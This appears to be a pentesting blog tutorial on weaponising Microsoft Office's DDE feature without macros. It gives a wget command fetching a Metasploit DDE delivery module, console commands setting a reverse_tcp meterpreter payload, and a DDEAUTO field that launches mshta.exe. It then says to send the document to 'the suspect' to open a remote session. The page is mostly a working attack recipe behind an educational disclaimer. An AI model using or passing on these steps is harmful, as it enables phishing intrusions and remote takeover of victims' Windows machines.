Home Exploitation Tools Pentesting Windows Using Microsoft Office DDE Exploit (MACROLESS)

Pentesting Windows Using Microsoft Office DDE Exploit (MACROLESS)

DDE exploit also known as dynamic data exchange, allows data to be transferred between applications without any interaction from the user. Hackers leveraged this method to execute malicious scripts to compromise.

It was reported to Microsoft from Sensepost, Etienne Stalmans, and Saif El-Sherei but it was not patched since many applications are using the DDE protocol. This exploit doesn’t require a macro function to be enabled.

Also Read Complete list of Kali Linux Tutorials

Prerequisites – DDE exploit

  • Windows Machine
  • Microsoft Office (Any version)

We will have to import a Metasploit exploit.

Download it from GitHub by using the command terminal

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb

Move the script to the Metasploit location

mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/

Now type msfconsole in the terminal, which launches the Metasploit framework and type reload_all to load the modules.

This exploit uses the dde function to deliver the hta payload. Now type in

use exploit/windows/dde_delivery 
then set the sever host using the following command

we need to set a payload listener. Don’t use port 8080 since the server port is set by default to 8080

  1. set PAYLOAD windows/meterpreter/reverse_tcp
  2. set LHOST
  3. set LPORT 6708
  4. exploit

Now copy and paste the code into any Word document. we used Office 365 pro plus, fully updated. locate formula and you should have a small error box in the doc and then right-click toggle code. paste the command in the doc between flower brackets. save the document.

{DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe “”}

Send the document to the suspect and a meterpreter session will open. Take a look at the video

You can follow us on LinkedinTwitter, and Facebook for daily Cybersecurity updates also you can take the Best Cybersecurity courses online to keep yourself self-updated.


This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and www.gbhackers.com  will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.


Please enter your comment!
Please enter your name here